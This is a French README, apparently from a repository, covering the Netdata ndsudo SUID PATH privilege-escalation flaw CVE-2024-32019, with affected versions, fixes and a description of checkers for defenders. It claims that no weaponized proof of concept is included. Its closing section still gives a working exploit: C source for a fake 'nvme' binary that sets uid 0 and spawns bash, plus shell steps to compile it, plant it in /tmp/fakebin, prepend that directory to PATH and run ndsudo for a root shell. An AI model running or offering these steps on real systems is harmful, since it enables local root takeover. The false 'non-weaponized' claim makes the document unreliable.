
Vérifie l'exposition à l'élévation de privilèges via le SUID PATH de Netdata ndsudo pour CVE-2024-32019 et valide les correctifs sans exploitation weaponisée.
ndsudo de NetdataL’assistant ndsudo de Netdata (installé setuid root) restreint les commandes qu’il exécute, mais résout ces commandes en utilisant le PATH de l’appelant. Dans les versions affectées, un utilisateur local peut placer un binaire malveillant plus tôt dans le PATH et faire exécuter celui-ci par ndsudo avec les privilèges root. Corrigé dans Netdata 1.45.3 et 1.45.0-169.
Affecté : >= 1.44.0-60, < 1.45.0-169 et (selon l’avis amont).
>= 1.45.0, < 1.45.3Corrigé : 1.45.3 (stable), 1.45.0-169 (nightly). GitHub
Élévation de privilèges locale vers root sur les systèmes où ndsudo est installé en SUID et où l’utilisateur peut l’invoquer (souvent les membres du groupe netdata). NVDGitHub
ndsudo est SUID-root et autorise une liste blanche de sous-commandes comme nvme-list, nvme-smart-log, etc.
Il appelle des exécutables externes par leur nom (par exemple nvme), qui sont résolus via le PATH au lieu d’utiliser des chemins absolus ou une recherche sûre et fixe.
Si un répertoire inscriptible apparaît avant les chemins système, un attaquant peut introduire un binaire sosie qui sera exécuté en tant que root. GitHub
Ce dépôt inclut des vérificateurs non-exploit qui :
Inspectent /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (ou son emplacement d’installation) pour vérifier le SUID et le propriétaire.
Énumèrent le PATH à la recherche de répertoires inscriptibles placés avant les chemins système courants.
Confirment la présence des noms de sous-commandes en liste blanche que ndsudo pourrait tenter d’exécuter.
Exécutent éventuellement ndsudo --test <subcommand> pour afficher la commande résolue sans l’exécuter (à utiliser avec prudence, lisez d’abord le code). GitHub
⚠️ Aucun PoC weaponisé n’est inclus. Ce projet est destiné aux défenseurs et aux chercheurs pour évaluer l’exposition et valider les correctifs de manière responsable.
nvme.c :#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD : CVE-2024-32019. NVD
Avis Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Résumé Wiz. wiz.io
Article Snyk. Vulnerability Guide
Liste MITRE/CVE. CVE